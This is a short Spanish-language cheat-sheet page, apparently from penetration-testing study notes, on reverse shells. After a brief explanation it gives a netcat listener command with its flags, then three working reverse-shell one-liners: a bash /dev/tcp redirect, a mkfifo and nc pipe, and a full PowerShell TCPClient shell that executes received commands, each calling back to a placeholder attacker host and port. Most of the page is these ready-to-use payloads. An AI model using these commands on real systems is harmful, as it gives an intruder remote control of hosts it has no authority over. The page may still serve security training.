Reverse Shell

Una Reverse Shelles el tipo de shell más común, ya que es el método más rápido y sencillo para obtener el control de un host comprometido. Una vez que identificamos una vulnerabilidad en el host remoto que permite la ejecución remota de código, podemos iniciar netcatcomo receptor en nuestra máquina que escuche en un puerto específico, por ejemplo, el puerto 1234. Con este receptor activo, podemos ejecutar un reverse shell commandque conecta el shell del sistema remoto (es decir, Basho) PowerShellcon nuestro netcatreceptor, lo que nos proporciona una conexión inversa a través del sistema remoto.

Escucha por Netcat:

nc -lnvp <port>
  • -l: Modo escucha, para esperar una conexión para comunicarse con nosotros.

  • -n: Deshabilite la resolución DNS y conéctese únicamente desde/hacia IP para acelerar la conexión.

  • -v: Modo detallado, para que sepamos cuando recibimos una conexión.

  • -p: El número de puerto por el que está escuchando y se debe enviar la conexión inversa.

Comandos de reverse shell:

bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <lhost> <lport> >/tmp/f
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<lhost>',<lport>);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Last updated